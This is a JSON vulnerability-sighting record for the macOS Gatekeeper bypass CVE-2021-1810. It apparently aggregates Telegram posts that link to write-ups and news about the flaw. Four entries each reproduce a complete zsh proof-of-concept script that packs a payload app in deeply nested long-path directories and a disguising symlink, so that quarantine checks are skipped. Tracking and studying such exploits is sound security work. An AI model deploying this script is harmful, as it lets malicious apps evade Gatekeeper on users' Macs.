{"vulnerability": "CVE-2021-1810", "sightings": [{"uuid": "abb04f11-d4f2-46b6-a942-82322751e2e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/cKure/7418", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 The discovery of Gatekeeper bypass CVE-2021-1810\n\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810/", "creation_timestamp": "2021-10-03T16:44:05.000000Z"}, {"uuid": "a901e6a3-265b-463c-a562-e49581f5e99e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/159", "content": "\u0414\u043e\u0431\u0440\u043e\u0435 \u0443\u0442\u0440\u043e \u2600\ufe0f \u041f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \ud83d\udc47\n\nV-Key: \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c\nhttps://www.anti-malware.ru/news/2021-10-11-111332/37167\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 Gatekeeper \u0432 macOS\nhttps://xakep.ru/2021/10/05/cve-2021-1810-poc/\n\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f AvosLocker \u043f\u0440\u043e\u0434\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0436\u0435\u0440\u0442\u0432 \u0441 \u0430\u0443\u043a\u0446\u0438\u043e\u043d\u0430\nhttps://xakep.ru/2021/10/05/avoslocker-auction/\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u043c \u041f\u041e \u0434\u043b\u044f Android\nhttps://www.securitylab.ru/news/525427.php\n\nNSO Group \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u0432 Pegasus \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0431\u0440\u0438\u0442\u0430\u043d\u0441\u043a\u0438\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b\nhttps://www.securitylab.ru/news/525422.php", "creation_timestamp": "2021-10-11T06:23:28.000000Z"}, {"uuid": "ab09332a-2cb3-4ed0-8729-39f2f42e880b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/cibsecurity/28470", "content": "\u203c CVE-2021-1810 \u203c\n\nA logic issue was addressed with improved state management. This issue is fixed in macOS Big Sur 11.3, Security Update 2021-002 Catalina. A malicious application may bypass Gatekeeper checks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-08T18:38:36.000000Z"}, {"uuid": "6a572ac6-e70b-482d-aaf0-1452114dccf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/11394", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 Gatekeeper \u0432 macOS\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F-Secure \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043b proof-of-concept \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-1810, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 Gatekeeper \u0432 macOS.\n\nhttps://xakep.ru/2021/10/05/cve-2021-1810-poc/", "creation_timestamp": "2021-10-05T16:44:00.000000Z"}, {"uuid": "226048a3-daf0-427d-8d2b-7ce67e3cdd82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4429", "content": "#Analytics\nThe discovery of Gatekeeper bypass CVE-2021-1810 (PoC):\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810\n]-> Analysis:\nhttps://labs.f-secure.com/blog/analysis-of-cve-2021-1810-gatekeeper-bypass", "creation_timestamp": "2021-10-02T16:56:19.000000Z"}, {"uuid": "78f64359-e56d-4724-9f8a-ee528c3c3fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1710", "content": "The discovery of Gatekeeper bypass CVE-2021-1810 https://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810/", "creation_timestamp": "2026-08-03T05:00:04.373032Z"}, {"uuid": "f4a03e6b-5065-4140-966a-4c7e41c7ed3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/1710", "content": "The discovery of Gatekeeper bypass CVE-2021-1810 https://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810/", "creation_timestamp": "2026-08-04T00:00:49.848503Z"}, {"uuid": "f8318d69-5e25-4202-aa84-f599541e95e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "Telegram/V5Rg89UCoT_j3FMCMO31kuvDAQ3roLd5xurq4j_9ElOROeg", "content": "", "creation_timestamp": "2026-08-16T19:00:05.567369Z"}, {"uuid": "d502fd3f-1dbd-43b5-baa8-0811a01ecd48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "Telegram/V5Rg89UCoT_j3FMCMO31kuvDAQ3roLd5xurq4j_9ElOROeg", "content": "", "creation_timestamp": "2026-08-17T00:00:09.934665Z"}, {"uuid": "35a3949d-9166-4c6f-9b30-6901085bedad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/reverseame/1710", "content": "The discovery of Gatekeeper bypass CVE-2021-1810 https://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810/", "creation_timestamp": "2026-07-29T12:02:52.325942Z"}, {"uuid": "4f2918b8-2a06-44bf-a360-ef987687a1b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/reverseame/1710", "content": "The discovery of Gatekeeper bypass CVE-2021-1810 https://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810/", "creation_timestamp": "2026-07-30T00:02:42.793403Z"}, {"uuid": "3134a55f-7d6a-4102-93df-91380e2245b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/cissp/4520", "content": "Cloud Security\nAttacks on Azure AD and M365:\nPawning the cloud, PTA Skeleton Keys and more\nhttps://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.html\n\nAnalytics\nThe discovery of Gatekeeper bypass CVE-2021-1810 (PoC):\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810\n]-> Analysis:\nhttps://labs.f-secure.com/blog/analysis-of-cve-2021-1810-gatekeeper-bypass\n\nOffensive security\nMSSQL for Pentester:\nCommand Execution with Extended Stored Procedures\nhttps://www.hackingarticles.in/mssql-for-pentester-command-execution-with-extended-stored-procedures\n\nThreat Research\nVermilion Strike:\nLinux and Windows Re-implementation of Cobalt Strike\nhttps://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike\n\nMalware analysis\nBluStealer Malware Threat\nhttps://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat\n\n\n\u200e", "creation_timestamp": "2026-09-01T17:00:39.116005Z"}, {"uuid": "c2af3f26-cf5e-4ede-b9d8-f36c23f22ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/hacking_Attack/26198", "content": "Exploit Collector\nGatekeeper Bypass Proof Of Concept\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nThis script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.\n\nMD5 | 993ed96204ab42821d3eacd7f4266ff7\n\nDownload\n#!/bin/zsh -e\n\n# This script will create a zip file exploiting CVE-2021-1810 by creating a\n# directory hierarchy deep enough for Archive Utility to fail setting\n# quarantine attributes on certain files while also making some path names \n# long enough to prevent Safari automating unzipping from unpacking the archive.\n# Finally, the script will create a symbolic link at the top level, making the\n# zip file appear like a normal app bundle zip file.\n\npayload=FakeApp.app\n\ncreateddir=\"\"\npathlen=0\n\n# create a .prefixed directory $len charactes, and increment global path length counter $pathlen\nmakelongdir() {\nlen=$1\ntdir=.$(perl -e 'print \"x\"x'${len})\nmkdir $tdir\ncd $tdir\nif [ \"$createddir\" ] ; then\ncreateddir=\"$createddir/$tdir\"\nelse\ncreateddir=\"$tdir\"\nfi\npathlen=$(($pathlen + $len +  2)) # len+\".\"+\"/\"\n}\n\nif ! [ -x \"$payload\" ] ;  then\necho \"Need a payload (\\\"$payload\\\") in pwd to continue!\"\nexit 1\nfi\n\npayloaddir=$(pwd)\ntargetdir=$(pwd)\nstartdir=$(mktemp -d)\ncd \"$startdir\"\n# Make three directories of max length 255\nfor i in 1 2 3 ; do\nmakelongdir 254 # . prefix = length 255\ndone\n\n# Signpost for debugging; this should be last actual file to have quarantine attribute\ntouch dummyfile\n\n# ArchiveService will unzip the file contents into a path with length 153\n# characters (including final \"/\") on Catalina, while on Big Sur\n# ArchiveService uses a 138 character temp path. \n# Any files or directories whose full path exceeds PATH_MAX will not get any\n# com.apple.quarantine extended attribute.\n# $pathlen contains amount of bytes in path so far; for the final directory\n# we can calculate how many characters we need, taking the payload name into\n# account.\n\npayloadnamelength=$(echo -n $payload|wc -c)\necho payload name length: $payloadnamelength path length: $pathlen\nremaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))\nmakelongdir $(($remaining))\n\n# save the path we have so far for the symlink creation later\nappdir=\"$createddir\"\ncp -r \"${payloaddir}/$payload\" .\n\n# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file\n# ...but should still be shorter than 1017 characters, for some reason.\nremaining=$((1014 - $pathlen))\nmakelongdir $remaining\n\ncd \"${startdir}\"\n# Create the symbolic link that will make the app accessible to the user\nln -s ${appdir}/$payload\n\nrm -f ${targetdir}/poc.zip\n\n# Create the final zip file and reveal in Finder\nzip -qyr ${targetdir}/poc.zip .\necho \"PoC zip containing $payload available at $targetdir\"\nopen -R ${targetdir}/poc.zip\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.767245Z"}, {"uuid": "a6fefe69-86c5-4e8c-8471-36f64c81fbbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/hacking_Attack/26198", "content": "Exploit Collector\nGatekeeper Bypass Proof Of Concept\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nThis script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.\n\nMD5 | 993ed96204ab42821d3eacd7f4266ff7\n\nDownload\n#!/bin/zsh -e\n\n# This script will create a zip file exploiting CVE-2021-1810 by creating a\n# directory hierarchy deep enough for Archive Utility to fail setting\n# quarantine attributes on certain files while also making some path names \n# long enough to prevent Safari automating unzipping from unpacking the archive.\n# Finally, the script will create a symbolic link at the top level, making the\n# zip file appear like a normal app bundle zip file.\n\npayload=FakeApp.app\n\ncreateddir=\"\"\npathlen=0\n\n# create a .prefixed directory $len charactes, and increment global path length counter $pathlen\nmakelongdir() {\nlen=$1\ntdir=.$(perl -e 'print \"x\"x'${len})\nmkdir $tdir\ncd $tdir\nif [ \"$createddir\" ] ; then\ncreateddir=\"$createddir/$tdir\"\nelse\ncreateddir=\"$tdir\"\nfi\npathlen=$(($pathlen + $len +  2)) # len+\".\"+\"/\"\n}\n\nif ! [ -x \"$payload\" ] ;  then\necho \"Need a payload (\\\"$payload\\\") in pwd to continue!\"\nexit 1\nfi\n\npayloaddir=$(pwd)\ntargetdir=$(pwd)\nstartdir=$(mktemp -d)\ncd \"$startdir\"\n# Make three directories of max length 255\nfor i in 1 2 3 ; do\nmakelongdir 254 # . prefix = length 255\ndone\n\n# Signpost for debugging; this should be last actual file to have quarantine attribute\ntouch dummyfile\n\n# ArchiveService will unzip the file contents into a path with length 153\n# characters (including final \"/\") on Catalina, while on Big Sur\n# ArchiveService uses a 138 character temp path. \n# Any files or directories whose full path exceeds PATH_MAX will not get any\n# com.apple.quarantine extended attribute.\n# $pathlen contains amount of bytes in path so far; for the final directory\n# we can calculate how many characters we need, taking the payload name into\n# account.\n\npayloadnamelength=$(echo -n $payload|wc -c)\necho payload name length: $payloadnamelength path length: $pathlen\nremaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))\nmakelongdir $(($remaining))\n\n# save the path we have so far for the symlink creation later\nappdir=\"$createddir\"\ncp -r \"${payloaddir}/$payload\" .\n\n# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file\n# ...but should still be shorter than 1017 characters, for some reason.\nremaining=$((1014 - $pathlen))\nmakelongdir $remaining\n\ncd \"${startdir}\"\n# Create the symbolic link that will make the app accessible to the user\nln -s ${appdir}/$payload\n\nrm -f ${targetdir}/poc.zip\n\n# Create the final zip file and reveal in Finder\nzip -qyr ${targetdir}/poc.zip .\necho \"PoC zip containing $payload available at $targetdir\"\nopen -R ${targetdir}/poc.zip\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.654466Z"}, {"uuid": "03e1b2c6-3901-4f86-ad08-6a0ee3794db6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "seen", "source": "https://t.me/cissp/4520", "content": "Cloud Security\nAttacks on Azure AD and M365:\nPawning the cloud, PTA Skeleton Keys and more\nhttps://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.html\n\nAnalytics\nThe discovery of Gatekeeper bypass CVE-2021-1810 (PoC):\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810\n]-> Analysis:\nhttps://labs.f-secure.com/blog/analysis-of-cve-2021-1810-gatekeeper-bypass\n\nOffensive security\nMSSQL for Pentester:\nCommand Execution with Extended Stored Procedures\nhttps://www.hackingarticles.in/mssql-for-pentester-command-execution-with-extended-stored-procedures\n\nThreat Research\nVermilion Strike:\nLinux and Windows Re-implementation of Cobalt Strike\nhttps://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike\n\nMalware analysis\nBluStealer Malware Threat\nhttps://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat\n\n\n\u200e", "creation_timestamp": "2026-09-02T01:04:24.281855Z"}, {"uuid": "9da35fa5-f135-42e9-aef3-bf951af64aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26198", "content": "Exploit Collector\nGatekeeper Bypass Proof Of Concept\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nThis script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.\n\nMD5 | 993ed96204ab42821d3eacd7f4266ff7\n\nDownload\n#!/bin/zsh -e\n\n# This script will create a zip file exploiting CVE-2021-1810 by creating a\n# directory hierarchy deep enough for Archive Utility to fail setting\n# quarantine attributes on certain files while also making some path names \n# long enough to prevent Safari automating unzipping from unpacking the archive.\n# Finally, the script will create a symbolic link at the top level, making the\n# zip file appear like a normal app bundle zip file.\n\npayload=FakeApp.app\n\ncreateddir=\"\"\npathlen=0\n\n# create a .prefixed directory $len charactes, and increment global path length counter $pathlen\nmakelongdir() {\nlen=$1\ntdir=.$(perl -e 'print \"x\"x'${len})\nmkdir $tdir\ncd $tdir\nif [ \"$createddir\" ] ; then\ncreateddir=\"$createddir/$tdir\"\nelse\ncreateddir=\"$tdir\"\nfi\npathlen=$(($pathlen + $len +  2)) # len+\".\"+\"/\"\n}\n\nif ! [ -x \"$payload\" ] ;  then\necho \"Need a payload (\\\"$payload\\\") in pwd to continue!\"\nexit 1\nfi\n\npayloaddir=$(pwd)\ntargetdir=$(pwd)\nstartdir=$(mktemp -d)\ncd \"$startdir\"\n# Make three directories of max length 255\nfor i in 1 2 3 ; do\nmakelongdir 254 # . prefix = length 255\ndone\n\n# Signpost for debugging; this should be last actual file to have quarantine attribute\ntouch dummyfile\n\n# ArchiveService will unzip the file contents into a path with length 153\n# characters (including final \"/\") on Catalina, while on Big Sur\n# ArchiveService uses a 138 character temp path. \n# Any files or directories whose full path exceeds PATH_MAX will not get any\n# com.apple.quarantine extended attribute.\n# $pathlen contains amount of bytes in path so far; for the final directory\n# we can calculate how many characters we need, taking the payload name into\n# account.\n\npayloadnamelength=$(echo -n $payload|wc -c)\necho payload name length: $payloadnamelength path length: $pathlen\nremaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))\nmakelongdir $(($remaining))\n\n# save the path we have so far for the symlink creation later\nappdir=\"$createddir\"\ncp -r \"${payloaddir}/$payload\" .\n\n# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file\n# ...but should still be shorter than 1017 characters, for some reason.\nremaining=$((1014 - $pathlen))\nmakelongdir $remaining\n\ncd \"${startdir}\"\n# Create the symbolic link that will make the app accessible to the user\nln -s ${appdir}/$payload\n\nrm -f ${targetdir}/poc.zip\n\n# Create the final zip file and reveal in Finder\nzip -qyr ${targetdir}/poc.zip .\necho \"PoC zip containing $payload available at $targetdir\"\nopen -R ${targetdir}/poc.zip\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:04.733564Z"}, {"uuid": "97940faf-cab9-424d-9971-5bc12dcbcf85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26198", "content": "Exploit Collector\nGatekeeper Bypass Proof Of Concept\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nThis script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.\n\nMD5 | 993ed96204ab42821d3eacd7f4266ff7\n\nDownload\n#!/bin/zsh -e\n\n# This script will create a zip file exploiting CVE-2021-1810 by creating a\n# directory hierarchy deep enough for Archive Utility to fail setting\n# quarantine attributes on certain files while also making some path names \n# long enough to prevent Safari automating unzipping from unpacking the archive.\n# Finally, the script will create a symbolic link at the top level, making the\n# zip file appear like a normal app bundle zip file.\n\npayload=FakeApp.app\n\ncreateddir=\"\"\npathlen=0\n\n# create a .prefixed directory $len charactes, and increment global path length counter $pathlen\nmakelongdir() {\nlen=$1\ntdir=.$(perl -e 'print \"x\"x'${len})\nmkdir $tdir\ncd $tdir\nif [ \"$createddir\" ] ; then\ncreateddir=\"$createddir/$tdir\"\nelse\ncreateddir=\"$tdir\"\nfi\npathlen=$(($pathlen + $len +  2)) # len+\".\"+\"/\"\n}\n\nif ! [ -x \"$payload\" ] ;  then\necho \"Need a payload (\\\"$payload\\\") in pwd to continue!\"\nexit 1\nfi\n\npayloaddir=$(pwd)\ntargetdir=$(pwd)\nstartdir=$(mktemp -d)\ncd \"$startdir\"\n# Make three directories of max length 255\nfor i in 1 2 3 ; do\nmakelongdir 254 # . prefix = length 255\ndone\n\n# Signpost for debugging; this should be last actual file to have quarantine attribute\ntouch dummyfile\n\n# ArchiveService will unzip the file contents into a path with length 153\n# characters (including final \"/\") on Catalina, while on Big Sur\n# ArchiveService uses a 138 character temp path. \n# Any files or directories whose full path exceeds PATH_MAX will not get any\n# com.apple.quarantine extended attribute.\n# $pathlen contains amount of bytes in path so far; for the final directory\n# we can calculate how many characters we need, taking the payload name into\n# account.\n\npayloadnamelength=$(echo -n $payload|wc -c)\necho payload name length: $payloadnamelength path length: $pathlen\nremaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))\nmakelongdir $(($remaining))\n\n# save the path we have so far for the symlink creation later\nappdir=\"$createddir\"\ncp -r \"${payloaddir}/$payload\" .\n\n# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file\n# ...but should still be shorter than 1017 characters, for some reason.\nremaining=$((1014 - $pathlen))\nmakelongdir $remaining\n\ncd \"${startdir}\"\n# Create the symbolic link that will make the app accessible to the user\nln -s ${appdir}/$payload\n\nrm -f ${targetdir}/poc.zip\n\n# Create the final zip file and reveal in Finder\nzip -qyr ${targetdir}/poc.zip .\necho \"PoC zip containing $payload available at $targetdir\"\nopen -R ${targetdir}/poc.zip\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.292859Z"}, {"uuid": "77a73c12-31a7-48ad-b4fe-7e2868d4640d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4520", "content": "Cloud Security\nAttacks on Azure AD and M365:\nPawning the cloud, PTA Skeleton Keys and more\nhttps://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.html\n\nAnalytics\nThe discovery of Gatekeeper bypass CVE-2021-1810 (PoC):\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810\n]-> Analysis:\nhttps://labs.f-secure.com/blog/analysis-of-cve-2021-1810-gatekeeper-bypass\n\nOffensive security\nMSSQL for Pentester:\nCommand Execution with Extended Stored Procedures\nhttps://www.hackingarticles.in/mssql-for-pentester-command-execution-with-extended-stored-procedures\n\nThreat Research\nVermilion Strike:\nLinux and Windows Re-implementation of Cobalt Strike\nhttps://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike\n\nMalware analysis\nBluStealer Malware Threat\nhttps://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat\n\n\n\u200e", "creation_timestamp": "2026-09-10T18:00:04.863285Z"}, {"uuid": "e9b1efa9-4a7d-4ea2-a9eb-bd63cac21b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1810", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4520", "content": "Cloud Security\nAttacks on Azure AD and M365:\nPawning the cloud, PTA Skeleton Keys and more\nhttps://www.inversecos.com/2021/10/attacks-on-azure-ad-and-m365-pawning.html\n\nAnalytics\nThe discovery of Gatekeeper bypass CVE-2021-1810 (PoC):\nhttps://labs.f-secure.com/blog/the-discovery-of-cve-2021-1810\n]-> Analysis:\nhttps://labs.f-secure.com/blog/analysis-of-cve-2021-1810-gatekeeper-bypass\n\nOffensive security\nMSSQL for Pentester:\nCommand Execution with Extended Stored Procedures\nhttps://www.hackingarticles.in/mssql-for-pentester-command-execution-with-extended-stored-procedures\n\nThreat Research\nVermilion Strike:\nLinux and Windows Re-implementation of Cobalt Strike\nhttps://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike\n\nMalware analysis\nBluStealer Malware Threat\nhttps://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat\n\n\n\u200e", "creation_timestamp": "2026-09-11T00:00:30.885046Z"}]}